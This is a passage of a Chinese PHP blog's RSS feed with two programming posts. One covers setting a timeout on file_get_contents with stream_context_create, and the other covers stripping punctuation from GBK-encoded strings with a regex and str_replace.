                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2010%2F01%2F06%2Fhtml-refactoring-one%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2010/01/06/html-refactoring-one/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>解决file_get_contents的超时问题</title>
		<link>http://fendou.org/2009/09/14/file_get_contents-timeout-problem/</link>
		<comments>http://fendou.org/2009/09/14/file_get_contents-timeout-problem/#comments</comments>
		<pubDate>Mon, 14 Sep 2009 14:21:56 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=576</guid>
		<description><![CDATA[file_get_contents一步就做完了打开，读取，关闭的三个动作，过程相当自动化，并且可以读取远程内容，非常方便，在网络状况差的情况下，可能会导致程序执行陷入停滞或者过慢，因为不停的重试和等待PHP进程本身的超时才会退出。晚上再次阅读了PHP手册，发现可以用一个比较变态的东西来解决，就是创建一个可以控制的资源句柄，通过控制资源句柄超时来控制file_get_contents这个方法的超时时间，使用起来很方便，也很简单。 $opts = array&#40; 'http'=array&#40; 'method'=&#34;GET&#34;, 'timeout'=1, //设置超时，单位是秒，可以试0.1之类的float类型数字 &#41; &#41;; $context = stream_context_create&#40;$opts&#41;; $contents = file_get_contents&#40;$url,false,$context&#41;; 得到内容之后该怎么处理就怎么处理了，关于tream_context_create这个方法的更多HTTP协议参数，请参见：HTTP context options，其他协议，请参见Context options and parameters Update 09-09-17: 我测试的时候使用的g.cn的首页，非常快，把timeout设置为1，没有超时的感觉，我以为是分钟为单位，感谢的Lightning$指正，单位是秒。<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp2%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">对PHP记事本程序（二）的修订</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F05%2F12%2Fphp6%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP 6 的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F11%2Fheader%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP中Header转向问题</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>file_get_contents一步就做完了打开，读取，关闭的三个动作，过程相当自动化，并且可以读取远程内容，非常方便，在网络状况差的情况下，可能会导致程序执行陷入停滞或者过慢，因为不停的重试和等待PHP进程本身的超时才会退出。晚上再次阅读了PHP手册，发现可以用一个比较变态的东西来解决，就是创建一个可以控制的资源句柄，通过控制资源句柄超时来控制file_get_contents这个方法的超时时间，使用起来很方便，也很简单。</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$opts</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
           <span style="color: #0000ff;">'http'</span><span style="color: #339933;">=</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
	         <span style="color: #0000ff;">'method'</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;GET&quot;</span><span style="color: #339933;">,</span>
	         <span style="color: #0000ff;">'timeout'</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">//设置超时，单位是秒，可以试0.1之类的float类型数字</span>
		<span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$context</span> <span style="color: #339933;">=</span> <span style="color: #990000;">stream_context_create</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$opts</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$contents</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">,</span><span style="color: #000088;">$context</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>得到内容之后该怎么处理就怎么处理了，关于tream_context_create这个方法的更多HTTP协议参数，请参见<a href="http://cn.php.net/manual/en/context.http.php">：HTTP context options</a>，其他协议，请参见<a href="http://cn.php.net/manual/en/context.php">Context options and parameters</a></p>
<p><strong>Update 09-09-17:</strong> 我测试的时候使用的g.cn的首页，非常快，把timeout设置为1，没有超时的感觉，我以为是分钟为单位，感谢的<a href="http://www.daxi8.cn">Lightning$</a>指正，单位是秒。</p>
<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F10%2Fphp2%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">对PHP记事本程序（二）的修订</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F05%2F12%2Fphp6%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP 6 的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F03%2F07%2Fphp%25E4%25BB%258E%25E4%25B8%259A%25E8%2580%2585%25E7%2589%25B9%25E5%25BE%2581%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">php从业者特征</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F07%2F11%2Fheader%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F09%2F14%2Ffile_get_contents-timeout-problem%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP中Header转向问题</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://fendou.org/2009/09/14/file_get_contents-timeout-problem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>正则表达式匹配中文符号（GBK编码）</title>
		<link>http://fendou.org/2009/08/21/reg-gbx/</link>
		<comments>http://fendou.org/2009/08/21/reg-gbx/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 09:37:13 +0000</pubDate>
		<dc:creator>崔玉松</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PhpWind]]></category>

		<guid isPermaLink="false">http://fendou.org/?p=568</guid>
		<description><![CDATA[事实证明，网上的很多东西都是扯淡，不过原理还是有的，我碰到一个需求，给定一段文字中（GBK编码），去除所有符号，不相干符号，包括标点，日文片假名之类的，于是我在网上搜啊，搜啊，得到的结果要么就是错的，要么就根本好不相干，被抄袭得最厉害的是http://community.mybbchina.net/thread-212-post-507.html，可怜的作者，我也不知道这些人为什么抄这个，我就没测试成功过，连GBK的字符集区间都没弄清楚。 其实指定字符编码匹配中文很简单，GBK编码表中很明确的规定了所有的符号位置，而且刚好是一个区间，在维基百科上有详细的介绍，比如我要把类似 addd中华ds,#￥%…&#38;（（212））｝｝Ａ■g民国ds中-啊国fjsd,【】啊Ｙ 这样的字符串中所有非中文、英文、数字字符全部去除掉，姑且叫去除的字符为火星文，去除火星文的PHP写法为: preg_replace&#40;&#34;/([\xA1-\xA9].{1}?)*?/&#34;, &#34;&#34;, $str&#41;; 这样所有在全角状态下输入的非中文，英文和数字将被替换掉，如果还需要进一步处理英文状态下的，那就判断一下ASCII码值吧，或者你怕麻烦也可以把所有的都列出来，然后替换,可以参考下面，在网上找来的，非我写的，忘了出处了 /** * 清除所有常见标点符号 * @param $pointer * @return unknown_type */ function clear_point&#40;$pointer&#41; &#123; return str_replace &#40; array&#40;' ',&#34;~&#34;,&#34;!&#34;,&#34;@&#34;,&#34;#&#34;,&#34;$&#34;,&#34;%&#34;,&#34;^&#34;,&#34;&#38;&#34;,&#34;*&#34;,&#34;,&#34;,&#34;.&#34;,&#34;?&#34;,&#34;;&#34;,&#34;:&#34;,&#34;'&#34;,'&#34;',&#34; [&#34;, &#34;]&#34;,&#34;{&#34;,&#34;}&#34;,&#34;！&#34;,&#34; ￥&#34;,&#34;……&#34;,&#34;…&#34;,&#34;、&#34;,&#34;，&#34;,&#34;。&#34;,&#34;？&#34;,&#34;；&#34;,&#34;：&#34;,&#34;‘&#34;,&#34;“&#34;,&#34;”&#34;, &#34;’&#34;,&#34; 【&#34;,&#34;】&#34;,&#34;～&#34;,&#34;！&#34;,&#34;＠&#34;,&#34;＃&#34;,&#34;＄&#34;,&#34;％&#34;,&#34;＾&#34;,&#34;＆&#34;,&#34;＊&#34;,&#34;，&#34;,&#34;．&#34;,&#34; ＜&#34;, &#34;＞&#34;,&#34;；&#34;,&#34;：&#34;,&#34;＇&#34;,&#34;＂&#34;,&#34;［&#34;,&#34;］&#34;,&#34;｛&#34;,&#34;｝&#34;,&#34;／&#34;,&#34;＼&#34;,&#34;《&#34;,&#34;》&#34;,&#34;-&#34;,&#34;_&#34;&#41;, &#160; array&#40;'','','','','','','','','','','','','','','','','','','','','','','','', '','','','','','','','','','','','','','','','','','','','','','','','','','', '','','','','','','','','','','','','',''&#41;, $pointer &#41;; &#125; 这个东西有更好的写法，而且全角状态的符号在之前已经过滤了，在此可删除，我懒，抛砖引玉吧<table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F12%2F05%2Fvisibility-in-php%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Visibility in PHP</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F30%2Fwhy-php-hacks%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Why PHP Hacks?</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2008%2F05%2F12%2Fphp6%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP 6 的新特性</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F08%2Fphp%25E8%25A7%25A3%25E6%259E%2590xml%25E6%2596%2587%25E6%25A1%25A3%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">PHP解析XML文档</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Ffendou.org%2F2007%2F11%2F02%2F%25E5%2588%259D%25E5%25AD%25A6php%25E7%259A%258418%25E4%25B8%25AA%25E5%259F%25BA%25E7%25A1%2580%25E4%25BE%258B%25E7%25A8%258B%2F&from=http%3A%2F%2Ffendou.org%2F2009%2F08%2F21%2Freg-gbx%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">初学PHP的18个基础例程</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>事实证明，网上的很多东西都是扯淡，不过原理还是有的，我碰到一个需求，给定一段文字中（GBK编码），去除所有符号，不相干符号，包括标点，日文片假名之类的，于是我在网上搜啊，搜啊，得到的结果要么就是错的，要么就根本好不相干，被抄袭得最厉害的是<a href="http://community.mybbchina.net/thread-212-post-507.html" target="_blank">http://community.mybbchina.net/thread-212-post-507.html</a>，可怜的作者，我也不知道这些人为什么抄这个，我就没测试成功过，连GBK的字符集区间都没弄清楚。</p>
<p>其实指定字符编码匹配中文很简单，<a href="http://users.ir-lab.org/~taozi/GBK1.txt" target="_blank">GBK编码表</a>中很明确的规定了所有的符号位置，而且刚好是一个区间，在维基百科上有详细的介绍，比如我要把类似</p>
<blockquote><p>addd中华ds,#￥%…&amp;（（212））｝｝Ａ■g民国ds中-啊国fjsd,【】啊Ｙ</p></blockquote>
<p>这样的字符串中所有非中文、英文、数字字符全部去除掉，姑且叫去除的字符为火星文，去除火星文的PHP写法为:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/([<span style="color: #660099; font-weight: bold;">\xA1</span>-<span style="color: #660099; font-weight: bold;">\xA9</span>].{1}?)*?/&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$str</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>这样所有在全角状态下输入的非中文，英文和数字将被替换掉，如果还需要进一步处理英文状态下的，那就判断一下ASCII码值吧，或者你怕麻烦也可以把所有的都列出来，然后替换,可以参考下面，在网上找来的，非我写的，忘了出处了</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">	<span style="color: #009933; font-style: italic;">/**
	 * 清除所有常见标点符号
	 * @param $pointer
	 * @return unknown_type
	 */</span>
	<span style="color: #000000; font-weight: bold;">function</span> clear_point<span style="color: #009900;">&#40;</span><span style="color: #000088;">$pointer</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#123;</span>
	     <span style="color: #b1b100;">return</span> <span style="color: #990000;">str_replace</span>
	       <span style="color: #009900;">&#40;</span>
	       <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;~&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;!&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;@&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;#&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;$&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;%&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;^&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&amp;&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;*&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;,&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;?&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;;&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;'&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&quot;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; [&quot;</span><span style="color: #339933;">,</span>
	       <span style="color: #0000ff;">&quot;]&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;{&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;}&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;！&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; ￥&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;……&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;…&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;、&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;，&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;。&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;？&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;；&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;：&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;‘&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;“&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;”&quot;</span><span style="color: #339933;">,</span>
	       <span style="color: #0000ff;">&quot;’&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; 【&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;】&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;～&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;！&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;＠&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;＃&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;＄&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;％&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;＾&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;＆&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;＊&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;，&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;．&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; ＜&quot;</span><span style="color: #339933;">,</span>
	       <span style="color: #0000ff;">&quot;＞&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;；&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;：&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;＇&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;＂&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;［&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;］&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;｛&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;｝&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;／&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;＼&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;《&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;》&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;-&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;_&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
&nbsp;
	       <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span>
	       <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">''</span><span style="color: 